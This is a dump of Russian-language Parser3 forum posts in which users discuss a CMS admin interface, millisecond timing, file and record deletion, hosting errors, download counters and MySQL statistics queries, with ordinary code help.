:) Давно дело было, а что делать, зато кроссбраузерно :)"
"58147","Наши поздравления и наилучшие пожелания. Форумчане - присоединяйтесь!"
"58150","Здоровья и успехов во всех сферах :)"
"58151","успехов"
"58152","Есть по моему некоторое непонимание того что сайт пример, это далеко не сам Mouse, а просто один из шаблонов и возможных вариантов структуры.\
\
  \
PS: Кстати перечисленные здесь ошибки [b]сайта-примера[/b] все таки поправил (кроме окошка форума но оно сейчас перепишется)"
"58154","Дизайн сайта никак не обязан отображать все технические навороты движка. А вот админка — вполне может быть. Сего замечено мною не было. Уж простите.\
\
А, кстати, движок ли это?\
\
Никогда не доверял CMS, в которых есть что-то подобное «Блокам», «Статьям» или «Объектам».\
\
У моего отца на фирме сайт на такой же, побоюсь этого слова, CMS. Они платят $ 600 человеку, который поддерживает его (сайта) работоспособность. Ежемесячно платят.\
\
И ещё. Человек, который сможет разобраться в том, как устроена ваша CMS, давно написал свою. Но это же моё мнение, и только :)\
\
Так что, как-то «сально» всё выглядит..."
"58155","Текущая админка также не привязана жестко к системе и легко меняется. Импрематур к сожалению еще написать не успел. )\
\
[quote]А, кстати, движок ли это?[/quote]\
Есть сомнения?\
\
[quote]У моего отца на фирме сайт на такой же, побоюсь этого слова, CMS. Они платят $ 600 человеку, который поддерживает его (сайта) работоспособность. Ежемесячно платят.[/quote]\
Если вы намекаете на сложность администрирования, то все упирается в написание шаблонов и обработчиков. К примеру на теже статьи можно написать очень юзерфрендли юзабельный обработчик(шаблон) - гоу или подождать когда я сам доберусь до него и тд.\
\
[quote]И ещё. Человек, который сможет разобраться в том, как устроена ваша CMS, давно написал свою.[/quote]\
На самом деле разобраться с ней несложно если понять основные принципы. Возможно чтобы их понять нужно задавать вопросы по коду и структуре.\
\
Да и написали и возможно и много и лучше, но есть один момент: Систем с открытыми исходниками я больше на Parser не наблюдаю, знал бы, не стал бы писать эту. Конечно есть егоровская и COM но они отличаются принципиально (но это уже другой разговор). Так что я альтернативы по крайней мере сейчас не вижу, если это подтолкнет кого то открыть более сильную разработку будет замечательно.\
\
[quote]Так что, как-то «сально» всё выглядит...[/quote]\
какая есть )"
"58156","Из радикальных отличий тока ГНУ."
"58165","когда я вижу список определенных элементов, статей допустим, при дабл-клике на нем я попадаю в \"MOUSE CMS | Статьи | Редактирование\", чего никак не ожидал ). Сделано это криво, не по-вебовски. Дабл клик - это системный финт - в вебе только 1 клик. Лучше прилепите справа одну иконку, обозначающую редактирование. В менюшке ведь сделали - почему в списке не так? Где стандартизация? И еще - иконки для работы со списком лучше вынести отдельно от всех иконок в верхней панели, а то сливаются, и сразу не заметить и не понять, что это такое.\
\
Еще к списку - эти чекбоксы - не совсем понятно их предназначение. Ну вот выделил я все объекты - и что я с ними могу сделать? Удалить? Это типа чтоб легко удалять что ли? ИМХО такие критические операции, как удаление, не должны быть пакетными, или в крайнем случае должны требовать дополнительные телодвижения.\
\
Далее - количество элементов на страницу - можно сделать в виде селекта, дабы пресечь ввод кадабры пользователями. Кроме того, писать цифры в окошко очень неудобно. Юзабельность лучше киньте сюда, а не в чекбоксы списка.\
\
Поиск в списке по каким параметрам осуществляется? По каким полям? А фильтр? А если мне нужен пункт в списке с фильтром по нескольким полям? Представьте несколько тысяч записей, из которых нужно отобрать все \"Новости\" \"за определенный год\" \"в которых идет речь о вашей КМС\"? Как мне это сделать?\
\
Далее, такое поле, как \"Опубликовано\", можно выводить просто цветом строки списка - да=белый, нет=серый.\
\
В форуме поле \"Автор\" разместите перед полем \"Название\" - читается лучше, типа \"юзер такой-то написал то-то\".\
\
Работа продолжается."
"58166","иконку редактирования - ок будет\
\
пакетное удаление кстати удобно :) - думаю лучше обсудить\
\
кол-во элементов в виде селекта - ок будет\
\
Поиск осуществляется элементарно (LIKE %слово%), фильтр...  - а как вы предлагаете сделать фильтры?\
\
Опубликовано с подсветкой - ок будет\
\
Автор - ок\
\
Спасибо\
\
идет )"
"58168","Есть две даты, разность которых нужно вывести в формате s,mmmmm секунд. Я так понял, что единственный вариант - преобразовать даты методом timestamp, но не могу понять, как результат преобразовать к миллисекундам?"
"58169","получим результат - разницу в днях (дробное число). умножаем на 3600 - получаем разницу в секундах. выводим в формате %.5f и заменяем '.' на ',' :)"
"58174","Одного понять не могу:\
[code]\
^eval(($dDate2 - $dDate1)*3600)[%.5f]\
# Выводит 0.20833\
\
^eval($Date2.second - $dDate1.second)[%.5f]\
# Выводит 5.00000\
[/code]\
Почему так происходит? =)\
Я хочу получить значение в секундах с точностью до стотысячных."
"58175","когда вы обращаетесь к .second вы обращаетесь к целым числам, никаких ms там уже нет"
"58176","Я так и понял =)\
[code]\
^eval($dAfter.second - $dBefore.second)[%.5f]\
# Выводит 5.0000\
\
^eval(($dAfter - $dBefore)*86400)[%.5f]\
# Выводит те же 5.0000\
[/code]\
Значит ms вообще не попадают в вычисления?"
"58177","Присоединяюсь и желаю меньше отсылок к документации в будущем году."
"58178","http://www.parser.ru/docs/lang/datecreatestring.htm\
[quot]\
Замечание: значение миллисекунд игнорируется.\
[/quot]\
\
т.е. хранить даты с такой точностью в системном объекте дата вы не сможете."
"58179","Пишу нагрузочное тестирование, вся суть именно в миллисекундах."
"58181","Тестируется не приложение на парсере. Смысл в осуществлении n количества запросов к определенному серверу и логирования их результатов."
"58182","здоровья и успехов тебе ;)"
"58183","1. сразу определяйте время работы (rusage) и сохраняйте значение s.mmmmm\
2. лог пишите в БД, возможно в ней есть точность до ms (я не смотрел, в жизни мне подобного не требовалось)"
"58184","что нибудь вроде:\
\
[code]\
# статистика запросов в мс\
$table[^table::create{id	time}]\
^for[i](1;10){\
^table.append{$i	^query[]} \
}\
# и сохраняем дальше куда надо\
# .......\
\
\
@query[][begin;end;time;result]\
$begin[$status:rusage]\
# тут или запрос к серверу или выполнение приложения\
$file[^file::load[text;http://www.parser.ru/]] \
$end[$status:rusage]\
$time((^end.tv_sec.double[] - ^begin.tv_sec.double[])*1000 + (^end.tv_usec.double[] - ^begin.tv_usec.double[])/1000)\
$result[$time]\
[/code]\
\
прокатит?"
"58185","я давно делаю так: \
[code]\
^run_time{код}[hInfo]\
Time: $hInfo.time ms<br />\
Memory: $hInfo.memory_kb KB<br />\
[/code]\
\
внутри похожий код\
\
P.S. с новой версией классов ^run_time{} => ^Erusage:measure{}"
"58186","насчет пакетного удаления - сайты существуют для удаления информации, или для ее накопления? Что вы чаще делаете - удаляете или добавляете?\
\
Я вообще к удалению отношусь очень отрицательно - лучше пометить ненужное, как \"удалено\", а при добавлении нового заапдейтить одно из ненужных. Если нет привязок по АйДи и т.п.\
\
Далее, на счет фильтров - я вот сейчас поигрался - ваш фильтр - отстой. Ввести в поле ничего нельзя, значение вводится только щелчком на значении одного из полей строки в списке. Скажите, зачем мне фильтровать то, что я и так уже вижу? Чтобы увидеть вместо 10-ти строк одну? Даже если бы поле ввода было активно - это ппц - пороховая бочка - туда такого можно навводить...\
\
Не претендуя на идеальность, посмотрите http://www.qha.com.ua/search/ - тут фильтр реализован максимально. Можно найти все, что угодно. По любому параметру таблицы.\
\
Дальше - ну это вообще ппц! Почему на сайте не работает навигация вперед/назад? Жму назад - попадаю на главную страницу сайта. Если вы сделали это в одном окне, потрудитесь хотя бы проставить ссылки \"назад\". В идеале можно запоминать пути, и перехватывая навигацию давать юзеру. Кроме того, советую повесить линки на меню \"хлебных крошек\" - а то не совсем понятно, зачем они там.\
\
Дальше - в навигации кнопочки ездят со строки на строку - проставьте им nobr хотя бы.\
\
И это... Навигация меня смущает. Слева пункты сайта. Сверху пункты админки. Админка иерархически выше чем сайт - следует это как-то выделить. А то сейчас такое ощущение, что верхняя панель - это пункты админки текущего сайта, и сразу не понимаешь, почему половина пунктов слева, а половина наверху.\
\
Далее - кнопки \"сохранить, удалить и т.п.\" - должны быть внизу страницы. Когда редактируешь что-то, да и просто читаешь - спускаешься сверху вниз. В вашем случае после внесения изменений длинной страницы приходится скроллить наверх в поисках нужной кнопки. Разместите ее снизу - и она будет завершающим пунктом редактирования. Так правильно.\
\
Не совсем понятно скрытие/раскрытие текстареа - типа гламур?\
\
При редактировании опросника пункт \"Результаты голосования\" что содержит? Парсерский код? Не страшно? Кроме того не могу себе представить веб-мастера, специально выучившего Парсер для управления сайтом."
"58187","[code](^end.tv_sec.double[] - ^begin.tv_sec.double[])*1000 + (^end.tv_usec.double[] - ^begin.tv_usec.double[])/1000[/code]\
Не очень понял смысл =)"
"58188","[quote]Я вообще к удалению отношусь очень отрицательно - лучше пометить ненужное, как \"удалено\", а при добавлении нового заапдейтить одно из ненужных. Если нет привязок по АйДи и т.п.[/quote]\
\
+65535"
"58189","для FreeBSD и Linux это 1K.\
[code]\
[paf@rol9] ~> man getrusage\
     int\
     getrusage(int who, struct rusage *rusage);\
     ru_maxrss    the maximum resident set size utilized (in kilobytes).\
[/code]\
\
в доку решили не писать всяких оговорок, в надежде, что системный администратор подскажет.\
его можно спросить \"а в каких единицах RSS в top'е?\"."
"58191","пакетное удаление - ок в тех таблицах где присутствует поле is_published по умолчанию будет не удалять а выключать\
\
фильтры - могу вообще выключить, имхо лучше такие чем никаких, про фильтры могу сказать сразу в ближайшее время [b]Я[/b] ими заниматься не планирую.\
\
[quote]Дальше - ну это вообще ппц! Почему на сайте не работает навигация вперед/назад?[/quote]\
\
потому что Ajax ) в принципе можно и в Ajax сделать вперед, назад, но это тоже в долгий ящик, а в ближайшее время сделаю Ajax как опцию, хочешь юзай в админе аякс хочешь стандартный ребут страниц.\
\
хлебные крошки - ок добавлю +5 строк в xslt шаблон...\
\
[quote]Далее - кнопки \"сохранить, удалить и т.п.\" - должны быть внизу страницы.[/quote]\
продублирую\
\
[quote]Не совсем понятно скрытие/раскрытие текстареа - типа гламур?[/quote]\
а что мешает? :)\
\
[quote]При редактировании опросника пункт \"Результаты голосования\" что содержит? Парсерский код? Не страшно? Кроме того не могу себе представить веб-мастера, специально выучившего Парсер для управления сайтом.[/quote]\
вообще нечего редактировать результаты ) это же голосование, но такая возможность присутствует :)\
чтобы понять синтаксис:\
[code]\
$.[ключ][значение]\
$.[ключ2][значение2]\
[/code]\
необязательно учить парсер,\
что то я уже писал по этому поводу http://www.parser.ru/forum/?id=56443\
\
что там еще? а иконки - поправлю, но по моему xslt плевать хотел на nobr; или я перепутал?\
\
[quote]И это... Навигация меня смущает. Слева пункты сайта. Сверху пункты админки. Админка иерархически выше чем сайт - следует это как-то выделить. А то сейчас такое ощущение, что верхняя панель - это пункты админки текущего сайта, и сразу не понимаешь, почему половина пунктов слева, а половина наверху.[/quote]\
\
со слов не совсем понял, мб накидаете схему? (Размещение блоков на странице редактируется в админе.)\
\
PS: форум поправил, скоро выложу"
"58192","[code]\
а для чего это волшебное выражение?\
\
(^end.tv_sec.double[] - ^begin.tv_sec.double[])*1000 + (^end.tv_usec.double[] - ^begin.tv_usec.double[])/1000\
\
Не очень понял смысл =)\
[/code]\
\
вы сами просили результат в милисекундах\
смотрите в доке $status:rusage\
хэши begin и end это замеры времени в начале и в конце\
ключ tv_sec - это кол-во секунд в момент измерения\
сколько миллисекунд в 1 секунде? - 1000 сл-но результат в сек. множим на 1000 чтобы получить кол-во милисекунд\
ключ tv_usec - это кол-во микро секунд ([b]в интервале 1 секунды[/b]) в момент измерения\
(1/1000000) cл-но чтобы получить милли делим на 1000\
\
складываем разности в моментах получаем результат в милли секундах\
надеюсь прояснил"
"58193","Просто я не знал, что в секунде 1000000 микросекунд, это сбило меня с толку."
"58195","на счет опросника - что будет, если юзер введет ошибочный код? вы ему скажите, что мол компилейшн эррор - иди правь код? Не проще сделать под каждый вариант опросника один селект? или на худой конец инпут? Посмотрите у Спиренса на админку - у него это уже реализовано.\
\
На счет Аякса в Админке - это сильно. Не знаю почему, но я бы не стал все делать на аяксе. Чем не угодила простая постраничная навигация? Вы ДжиМеил юзали? Нравится? ИМХО отстой полный. Нажал - и 1-5 секунд ничего не происходит. Потом хоп - загрузилось что-то. Откуда, почему - непонятно. Если вам принципиален аякс, то повесьте мессаги-прелоадеры - что типа \"грузится, ждите...\"\
\
Про пункты...\
Как я понял - у вас есть пункты глобального управления КМС, и пункты управления определенным сайтом. Я бы вынес глобальные пункты меню в одну полосу на всю ширину экрана, вверху, допустим. Выбрал юзер редактирование сайта, ниже показываем ему этот сайт со всеми возможностями.\
И это - хлебные крошки можно убрать вообще - просто выделяйте как нибудь глобальный пункт навигации - сразу понятно, где юзер. Хотя бы цветом. А то вот я сейчас я нажал в верхней менюшке \"Статьи\", крошки говорят, что я в \"Mouse CMS | Статьи\". Смотрим в левую менюшку - там тоже сть пункт \"Статьи\". Как понять, в каких \"Статьях\" я сейчас нахожусь? В верхних, или в левых?\
\
В общем, как я говорил - навигация ужасна. Работы там непочатый край.\
\
P.S. Когда я сажусь за какой нибудь проект, я сперва готовлю интерфейс, а потом пишу код. Нужно не интерфейс подгонять под код, а писать код под интерфейс, как это сложно не было бы. Юзеру всеравно - аякс, фреймы, хитрый код и все такое - ему важно юзабилити. Важно, чтобы в критический момент веб-мастер по телефону мог объяснить секретарше, как обновить опросник, или как прикрыть ту или иную статью. И чтобы она смогла это сделать. Если эти условия выполняются, я считаю проект успешным."
"58196","вобщем есть таблица в ней хранятся имя файла и дата добавления и также ссылка на файл.\
Хочу сделать удаление файлов выбранных по checkbox'y вроде все сделал правильно.. но удаляются почемуто только записи начиная с последней которая была добавлена в таблицу.. что я сделал не правильно ? \
спасибо\
\
^connect[$connect_string]{$inform[^table::sql{SELECT id, date, name FROM add_file}]}\
 <form method=\"POST\">\
<table border=\"0\" cellspacing=\"1\" bgcolor=darkgreen width=\"98%\"  cellpadding=0>\
  <tr bgcolor=eeeeee>\
   <td>ID</td>\
   <td>DATE</td>\
   <td>NAME</td>\
   <td>Del</td>\
  </tr>\
^inform.menu{\
  <tr bgcolor=eeeee>\
   <td>$inform.id</td>\
   <td>$inform.date</td>\
   <td>$inform.name</td>\
   <td><input type=\"checkbox\" name=\"Delete\" value=\"$inform.id\">* $inform.id</td>\
\
  </tr>	    }\
</table>\
\
<input type=\"submit\" value=\"Удалить\" name=\"del\">\
</form>\
	^connect[$connect_string]{^if(def $inform.id){^void:sql{DELETE FROM add_file WHERE id = '$inform.id'}}{не выбрано}}"
"58197","1. В форуме необходимо использовать bb-тэги, особенно для кода.\
\
2. Рекомендую пользоваться [url=\"http://www.parser.ru/examples/sql/\"]классами для переносимости SQL запросов[/url].\
3. Не обязательно использовать столько connect'ов... Одного вполне хватит.\
\
[code]\
$tRemoveFields[$form:tables.Delete]\
\
^if($tRemoveFields){\
	^tRemoveFields.menu{\
		^void:sql{\
			DELETE\
			FROM\
				add_file\
			WHERE\
				id = '$tRemoveFields.field'\
		}\
	}\
}{\
	не выбрано\
}\
\
\
$tInform[^table::sql{\
	SELECT\
		id,\
		date,\
		name\
	FROM\
		add_file\
}]\
\
<form method=\"POST\">\
	<table border=\"0\" cellspacing=\"1\" bgcolor=darkgreen width=\"98%\" cellpadding=0>\
		<tr bgcolor=eeeeee>\
			<td>ID</td>\
			<td>DATE</td>\
			<td>NAME</td>\
			<td>Del</td>\
		</tr>\
		^tInform.menu{\
			<tr bgcolor=eeeee>\
				<td>$tInform.id</td>\
				<td>$tInform.date</td>\
				<td>$tInform.name</td>\
				<td><input type=\"checkbox\" name=\"Delete\" value=\"$tInform.id\">* $tInform.id</td>\
			</tr>\
		}\
	</table>\
	<input type=\"submit\" value=\"Удалить\" name=\"del\">\
</form>\
[/code]\
\
P.S. За работоспособность copy/paste не отвечаю."
"58198","сайты это  хорошо, но нельзя ли пример кода (Parser а не HTML+CSS)\
на почту edzo@pro8.ru или в сюда в ветку?\
\
Спасибо,\
Edzo\
\
NB актуально, если интересует удаленка"
"58199","Все большое спасибо.. все заработало...\
а то третий день сижу парусь сделать немогу...\
Щас еще добавлю чтобы не только запись из базы удалялась с ссылкой на файл но и еще сам файл с диска..."
"58200","насчет юзера - система для разработчика, для юзера там нет ни одного интерфейса (их не проблема добавить) опросник менять пока не хочу, можете сами - вот весь код опросника включая администрирование: \
http://mouse-cms.googlecode.com/svn/tags/work/data/processes/shared/blocks/poll.p\
форум, опросник - всего лишь [b]примеры[/b] обработчиков и написаны оба за абсолютно смешное время.\
если у народа появится желание хоть что то сделать, их не проблема апгрейдить\
\
[quote]\
На счет Аякса в Админке - это сильно. Не знаю почему, но я бы не стал все делать на аяксе. Чем не угодила простая постраничная навигация? Вы ДжиМеил юзали? Нравится? ИМХО отстой полный. Нажал - и 1-5 секунд ничего не происходит. Потом хоп - загрузилось что-то. Откуда, почему - непонятно. Если вам принципиален аякс, то повесьте мессаги-прелоадеры - что типа \"грузится, ждите...\"\
[/quote]\
Мой профиль на этом форуме скажет о моем отношении к gmail :)\
вкратце мне нравится когда я могу отправить только запрос и получить только результат, без прыганий по страницам и перезагрузками. Но Ajax в текущем админе будет опцией.\
\
[quote]\
P.S. Когда я сажусь за какой нибудь проект, я сперва готовлю интерфейс, а потом пишу код. Нужно не интерфейс подгонять под код, а писать код под интерфейс, как это сложно не было бы. Юзеру всеравно - аякс, фреймы, хитрый код и все такое - ему важно юзабилити. Важно, чтобы в критический момент веб-мастер по телефону мог объяснить секретарше, как обновить опросник, или как прикрыть ту или иную статью. И чтобы она смогла это сделать. Если эти условия выполняются, я считаю проект успешным.\
[/quote]\
Движок - не проект. Мне важнее код и принципы работы, а не шаблоны. Абсолютно все перечисленные проблемы на этом форуме касательно системы - проблемы шаблонов.\
\
Но я очень внимательно отношусь к критике и эти вещи тоже правятся."
"58201","Пиши на nik (собака)studiomade.ru.\
Есть интересное предложение на fulltime."
"58202","[code]\
^tRemoveFields.menu{\
	^void:sql{\
		DELETE\
		FROM\
			add_file\
		WHERE\
			id = '$tRemoveFields.field'\
	}\
}\
\
[/code]\
->\
[code]\
^void:sql{\
	DELETE\
	FROM\
		add_file\
	WHERE\
		id\
	IN\
		(^tRemoveFields.menu{$tRemoveFields.field}[,])\
}\
[/code]"
"58203","вот сколько сидел думал.. так и на понял почему выдает ошибку \
unlink failed: Permission denied (13), actual filename 'w:/home/localhost/www/downloads/'\
\
говорит не правильная ссылка на файл.. когда ссылка на файл храниться в БД.. сылка также добавляется автоматом при добавлении файла в каталог..\
\
выше написанный код позволяет удалить из БД саму запись, а вот че то я тепер немогу понять почему он не удаляет файл... вроде  вставил я в код \
[code]^file:delete[$tRemove.name_path][/code]\
\
$tRemove.name_path - это путь до файла (в корне сайта, с названием самого файла...)\
\
может я его не туда вставляю ???\
[code]\
^connect[$connect_string]{\
$tRemoveFields[$form:tables.Delete]\
\
#^if($tRemoveFields){\
# ^file:delete[$tInform.name_path]\
#}\
\
^if($tRemoveFields){(^file:delete[$tRemove.name_path]\
	^tRemoveFields.menu{\
		^void:sql{\
			DELETE\
			FROM\
				add_file\
			WHERE\
				id = '$tRemoveFields.field'\
		)}\
# удаление самого файла\
#^file::delete[$tInform.name_path]\
\
# конец операции удаления файла\
\
	}\
}{\
	Выбирите файлы для удаления\
}\
\
\
\
$tInform[^table::sql{\
	SELECT\
		id,\
		date,\
		name,\
		name_path\
	FROM\
		add_file\
}]\
\
<form method=\"POST\">\
	<table border=\"0\" cellspacing=\"1\" bgcolor=darkgreen width=\"98%\" cellpadding=0>\
		<tr bgcolor=eeeeee>\
			<td>ID</td>\
			<td>DATE</td>\
			<td>NAME</td>\
			<td>Del</td>\
		</tr>\
		^tInform.menu{\
			<tr bgcolor=eeeee>\
				<td>$tInform.id</td>\
				<td>$tInform.date</td>\
				<td>$tInform.name</td>\
				<td><input type=\"checkbox\" name=\"Delete\" value=\"$tInform.id\">$tInform.id</td>\
			</tr>\
		}\
	</table>\
	<br>\
	<input type=\"submit\" value=\"Удалить\" name=\"del\">\
</form>}\
[/code]"
"58204","[code][Thu Jan 18 15:58:59 2007] [14284] MY_URI MY_PATH/antiflood.p(102:24): 'open' apr_sdbm_open(shared) error: Unknown error (-1) [file.access]\
[/code]\
\
Очень часто вылетает вот такая ошибка. Я подозреваю, что это происходит в тот момент, когда два админа с разных машин пытаются юзать мою админку.\
\
Ошибка нормальна, или это баг?\
\
P.S. Миша - а не лучше бы сделать ворд-враппинг? А то вот эта строка даже на мониторе в 1024 заставляет скроллить вправо и нервничать.\
\
P.S. Win2003 Parser3.2.1 exe XML"
"58205","[b]unlink failed: Permission denied (13)[/b]\
\
у вас просто нет прав на удаление."
"58206","причём мы с мишей видели ошибку в коде parser, в этой области.\
думаю, со следующей версией parser, это уйдёт. если нет, обязательно напомните ещё раз."
"58207","Мое письмо в support:\
> Ошибка 404\
> Захожу на сайт, через форму удаляю фото (в разделе администрирования на\
> парсере) и после рефреша страницы\
> $response:refresh[\
> $.value(0)\
> $.url[/admin/?value=script]]\
> Попадаю на ошибку 404\
> И после этого сайт вообще не доступен мне. Перезагружаю компьютер даже, \
> и все равно не могу зайти, любая страница выдает \"404 не найдено\"\
> Вчера ночью было такое же, а сегодня с утра в 9 часов сайт грузился, \
> но когда опять через форму удалил фото - снова ошибка 404\
> \
> Сейчас тот же код и сайт полностью прекрасно работает у меня \
> локально в Денвере...\
> В чем может быть проблема?\
\
Ответ от support:\
Эта проблема связана с тем, что ваш скрипт производит какие манипуляции с\
файлами/каталогами, в результате которых удаляется hardlink на ваш doc_root,\
попробуйте понять, с точностью до операций, какие все-таки действия приводят\
к этому.\
\
После удаления линк в течение часа восстанавливается автоматикой.\
_________________________________________\
\
Мое манипулирование с текстовыми файлами вне веб-пространства /../ к такому не приводит, но картинки сайта же не запихивают за пределы веб-пространства... Т.е. повторюсь — удаляю image и попадаю на страницу ошибки 404, весь сайт становится такой ошибкой (похоже на час). (\
Кто сталкивался с подобной проблемой? У меня такое первый раз, на arbatek.ru , majordomo.ru такого не было.\
А здесь может быть из-за того что WindowsServer? Как быть в моем случае, кто чем подскажет?"
"58209","Туго, не могу понять:\
\
\"Start|Run... cmd \
C:\\Documents and Settings\\User\\My Documents> attrib +r C:\\Web\\other\
C:\\Documents and Settings\\User\\My Documents>rmdir C:\\Web\\other\
Access is denied.\
\
тогда parser не сможет понапрасну стереть ценный link.\"\
\
где и как..."
"58210","Допустим лежит файл видео большого размера, такой что его не загрузить в переменную (памяти не хватает).\
А хочется сделать механизм подсчета количества закачек.\
Я вижу два варианта:\
1) давать ссылку на страницу, которая увеличивает счетчик, а потом результатом выдает файл;\
2) увеличивать счетчик при обращении к файлу.\
Но не понимаю, как реализовать хоть один из способов.\
Подскажите ответ на задачу.\
\
P.S. по-моему, не работает уведомление об ответах по E-mail. Это только у меня или у всех?"
"58211","[code]\
# получили счетчик\
# ....\
# увеличили счетчик\
$iCount.inc()\
# записали куда нужно\
# ....\
# и отдавайте файл\
$response:location[путь_к_вашему_файлу]\
[/code]"
"58214","прва то как раз и есть.. все ведь на локальном компе делаю..\
раньше до того как не мог удалить определенные строки из БД.. у меня получалось удалить файлы (как ни странно все сразу) наверно потомучто, теперь не получается удалить сам файлик..\
\
я так понимаю сначала я должен взять из базы ссылку на файл по ID который выбрал.. потом прежде чем удалить саму запись - удалиьть сначала файл(ы).. а потом уже и саму запись(и)..\
но почему же тогда дотуп то запрещен ?"
"58215","Попробуйте напрямую написать:\
[code]\
^file:delete[путь_к_файлу_для_удаления]\
[/code]\
Судя по \"actual filename 'w:/home/localhost/www/downloads/'\", Вы пытаетесь удалить аж целую папку, а вам нужно только файлы оттуда.\
\
[code]\
$tRemoveFields[$form:tables.Delete]\
\
^if($tRemoveFields){\
\
	$_sTest[^tRemoveFields.menu{$tRemoveFields.field}[,]]\
\
	$tFiles[^table::sql{\
		SELECT\
			name_path\
		FROM\
			add_file\
		WHERE\
			id\
		IN\
		($_sTest)\
	}]\
	^if($tFiles){\
		^tFiles.menu{\
			^file:delete[$tFiles.name_path]\
		}\
	}\
\
	^void:sql{\
		DELETE\
		FROM\
			add_file\
		WHERE\
			id\
		IN\
		($_sTest)\
	}\
\
}\
[/code]\
\
P.S. Проанализируйте, что каждая переменная и метод должно выполнять. Если снова появятся проблемы, начните с того, что я Вам посоветовал, иначе Вам здесь не особо смогут помочь..."
"58216","только не на .ru, а на com.ua.\
\
Зайдите вот в эту ветку http://www.1gb.ua/support.php?track=e65ec210df05d422 - там проблема описана довольно четко, и дайте почитать об этом вашим админам. Проблема решается простой операцией."
"58219","при этом у меня пятисекундных ожиданий подгрузки данных при работе через ajax не наблюдается.\
\
кроме того, лично я никаких принципиальных отличий gmail от яндекс почты или почты mail.ru не вижу (ни достоинств ни недостатков), однако \"на вкус и цвет...\", поэтому с его обсуждением предлагаю закончить.\
\
P.S. очень редко читаю почту через веб интерфейсы. считаю что все они не удобны по сравнению со standalone программами."
"58220","Re: P.S. не лучше. возможно в будущем сделать чтобы у code была задана ширина, и в случае её превышения появлялся бы скроллинг куска кода, а не страницы целиком. Но это когда будет время и не будет пожеланий по добавлению чего-либо нового в парсер или более важного в форум."
"58221","и при просмотре сообщения юзер жмет на нее - все вместилось в ширину экрана - нажал еще раз - исходный вид. Элегантно было бы."
"58222","Выдаём клиенту уникальный url, прописываем в rewritemap соотвествие уникального url конкретному файлу.\
\
Раз в сутки чистим rewritemap от старых записей.\
\
Файлы будет отдавать не парсер, а apache, так что не будет проблем с расходом памяти, а посетители будут иметь возможность пользоваться download managers."
"58224","А в каком месте мы выполняем подсчет скачиваний?"
"58225","а то у меня кол-во админов растет, и они уже нервничают по поводу этой ошибки. А отказаться от антифлуда не могу - есть любители Ф5.\
\
2Миша: может пока баг не пофиксен, в антифлуде использовать обычный файл таблицы вместо хеш-файла? Или без разницы?"
"58227","При генирации ID ^^"
"58230","[b]Вопрос №1[/b]\
\
Есть таблица\
[code]CREATE TABLE `site_statistics` (\
  `id` int(11) NOT NULL auto_increment,\
# поле содержит дату учета\
  `dt_counted` date default NULL,\
# номер новости - если номер = 0, то это учет посещений сайта за дату\
  `article_id` int(11) unsigned default '0',\
# количество прочтений новости(посещений сайта если article_id = 0)\
  `read_count` int(11) unsigned NOT NULL default '0',\
  PRIMARY KEY  (`id`),\
  KEY `dt_counted` (`dt_counted`,`article_id`)\
) ENGINE=MyISAM DEFAULT CHARSET=utf8;[/code]\
\
Таблица собирает статистику по прочитанным новостям и уникальным посещениям сайта. Прочли новость, смотрим в таблицу - если ее уже сегодня читали - инкрементим счетчик read_count, если не читали - добавляем запись. Счетчик посещений сайта работает также, но только с article_id = 0.\
\
Далее. Нужно получить статистику в виде таблицы с полями дата_учета, кол-во_посещений, кол-во_прочитанных_новостей, кол-во_прочтений. Написал запрос\
[code]\
	SELECT\
		T1.dt_counted,\
		T1.read_count AS site,\
		COUNT(T2.read_count) as article,\
		SUM(T2.read_count) AS total_read\
	FROM\
		site_statistics AS T1\
	LEFT JOIN\
		site_statistics AS T2\
	ON\
		T1.dt_counted = T2.dt_counted\
	AND\
		T1.article_id = 0\
	AND\
		T2.article_id != 0\
	GROUP BY\
		T1.dt_counted\
	ORDER BY\
		T1.dt_counted[/code]\
Запрос работает. Проверил его на эксплеин - вроде все путем.\
\
Это все вступление. Задача вот в чем. Результат вышеописанного запроса вернет определенное количество строк - на каждую дату учета по одной. Понятно, что выводить весь список на одну страницу нельзя. Прикручиваю скроллер с лимитом в 30, вернее пытался прикрутить. Для работы скроллера нжно кол-во всех строк результата. И как их получить - я не нашел. Пробовал все варианты COUNT() - не пашет. Полез в доку в надежде найти намек на решение. Нашел следующее:\
[quote][b]FOUND_ROWS()[/b]\
Returns the number of rows that the last [b]SELECT SQL_CALC_FOUND_ROWS[/b] ... command would have returned\
[/quote]\
Испробовал\
[code]SELECT\
SQL_CALC_FOUND_ROWS\
		T1.dt_counted,\
		T1.read_count AS site,\
		COUNT(T2.read_count) as article,\
		SUM(T2.read_count) AS total_read\
	FROM\
		site_statistics AS T1\
	LEFT JOIN\
		site_statistics AS T2\
	ON\
		T1.dt_counted = T2.dt_counted\
	AND\
		T1.article_id = 0\
	AND\
		T2.article_id != 0\
	GROUP BY\
		T1.dt_counted\
	ORDER BY\
		T1.dt_counted;\
SELECT FOUND_ROWS()[/code]\
Работает. Но ведь это не вариант? А если до последнего запроса SELECT FOUND_ROWS() другой юзер вызовет запрос с SQL_CALC_FOUND_ROWS?\
\
Как быть? Подскажите?\
\
[b]Вопрос №2[/b]\
Вопрос, скорее всего, к Мише. Хотелось, чтобы он ответил.\
Вопрос по поводу кеширования SQL-запросов.\
Вот у меня есть динамический метод выборки данных из БД. Запрос строится в зависимости от входящих параметров, понятно, что сохранять их кеш нужно под уникальными именами. Как это обеспечить? Писать блок иф-ов на анализ входящих параметров - сакс. Придумал криптить получаемый запрос в мд5 и полученный результат давать, как название файла кеша. Как устроено у вас?\
\
[b]Вопрос №3[/b]\
Тоже приоритетно Мише. Касается [url=\"http://www.parser.ru/forum/?id=57401\"]вот этого[/url].\
Как быть с именами ключей в хешах и таблицах? ИМХО вариант [code]$hVariable.iVariable\
# или\
$tVariable.sVariable[/code]\
смотрится не по-парсеровски, ведь поля, к примеру, объекта класса $file пишутся как $file.text и т.д. А хочется иметь определенный стандарт. Как быть?"
"58231","1. Как я понял для выяснения количества записей Вам просто необходимо получить количество уникальных дат.\
[code]\
# Вариант \"в лоб\" (при условии, что ваш сервер поддерживает подзапросы)\
  select count(*) \
   from (select count(*) from site_statistics  group by dt_counted) as t\
# А еще проще так (у вас ведь есть общий счетчик посещений)\
  select count(*) from site_statistics where article_id = 0\
[/code]\
\
2. Основной запрос можно упростить до такого:\
[code]\
select dt_counted, \
           sum(case when article_id = 0 then read_count else 0 end) as visits,\
           sum(case when article_id != 0 then read_count else 0 end)  as readed\
from site_statistics \
group by dt_counted\
order by dt_counted desc\
[/code]"
